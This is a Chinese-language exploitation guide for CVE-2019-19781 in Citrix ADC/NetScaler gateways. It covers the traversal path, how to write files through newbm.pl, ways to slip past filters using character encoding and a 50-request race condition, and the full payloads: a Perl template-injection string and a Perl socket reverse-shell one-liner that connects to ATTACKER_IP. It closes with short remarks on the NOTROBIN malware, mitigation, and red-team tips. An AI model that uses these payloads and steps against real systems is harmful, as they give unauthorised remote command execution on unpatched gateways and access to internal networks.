用CVE-2019-19781漏洞黑掉一台Citrix设备
字数 1545 2025-08-18 11:39:26
CVE-2019-19781 Citrix漏洞利用技术分析文档
漏洞概述
CVE-2019-19781(又称"Shitrix")是Citrix ADC/Netscaler网关设备中的一个高危漏洞,包含目录遍历和远程代码执行(RCE)风险。该漏洞影响全球158个国家超过8万家公司网络系统,攻击者可利用此漏洞在未授权情况下访问内部网络并执行任意代码。
漏洞原理
漏洞利用机制基于Citrix网关应用的模板处理过程:
- 创建模板时会调用
/vpn/../vpns/portal/scripts/newbm.pl脚本服务 - 攻击者可构造Perl语言模板命令作为Payload
- 将Payload插入XML文件形成
<xml_name>.xml - 请求
/vpn/../vpns/portal/<xml_name>.xml时触发命令执行
漏洞验证
-
目录遍历验证:
- 发起GET请求:
/vpn/../vpns/cfg/smb.conf - 成功响应则确认存在目录遍历漏洞
- 发起GET请求:
-
RCE验证:
- 尝试使用公开的bash命令行exploit
- 观察是否返回预期结果
漏洞利用详细步骤
1. 文件写入测试
使用Burp Suite进行以下操作:
- 向
/vpn/../vpns/portal/scripts/newbm.pl发起POST请求 - 生成包含bookmark内容的XML文件
- 观察响应中是否出现"Bookmark Added"成功消息
2. 权限测试
两种分析方法:
-
测试/vpn/目录写权限:
- 使用
rmbm.pl请求删除XML中的Bookmark内容(不删除XML文件本身) - 检查test2.xml中Bookmark内容是否被删除
- 使用
-
测试黑白名单:
- 在Bookmark参数title中写入Payload测试
- 留空title参数测试XML生成
3. 绕过限制技术
当遇到限制时可采用以下方法:
- 字符编码:对关键字符如"BLOCK"进行多种编码尝试
- 条件竞争(Race Condition):
- 同时对XML文件发起50个并发请求
- 同时发起Bookmark创建请求
- 利用时间差在XML被过滤前触发Payload
4. Payload构造
基础Payload:
[%25+template.new({'BLOCK'%3d'exec(\'$2 | tee /netscaler/portal/templates/$filenameid.xml\')%3b'})+%25]
反弹Shell Payload(适用于无python/netcat环境):
perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
编码转换:
- 将上述Payload转换为包含chr()方法的eval形式
- 进行适当的编码替换以适应Perl Template环境
恶意软件NOTROBIN影响
- FireEye披露NOTROBIN恶意软件利用此漏洞
- 会删除其他攻击者上传的包含"BLOCK"字符的XML文件
- 建立独有后门控制
- 表现为Citrix设备中存在NOTROBIN后门进程
防御与修复建议
对于Citrix用户
- 参照Citrix官方发布的缓解措施进行修复
- 检查系统是否存在NOTROBIN恶意进程
对于红队测试者
- 遇到"404 Not Found"响应时考虑:
- 目标设备可能已应用补丁
- 可能已被NOTROBIN感染
- 可尝试"目录遍历+条件竞争+文件写入+命令执行"组合技术
参考资源
- Citrix官方缓解措施
- FireEye关于NOTROBIN的分析报告
- 原始漏洞披露信息
技术要点总结
- 漏洞利用链:目录遍历 → 文件写入 → 命令执行
- 关键路径:
/vpn/../vpns/portal/scripts/newbm.pl - 绕过技术:字符编码、条件竞争
- 特殊考虑:NOTROBIN恶意软件干扰
- 反弹Shell构造:Perl Socket方法替代传统方式
本文档涵盖了CVE-2019-19781漏洞从验证到利用的完整技术细节,包括实际测试中遇到的限制和解决方案,为安全研究和防御提供了全面参考。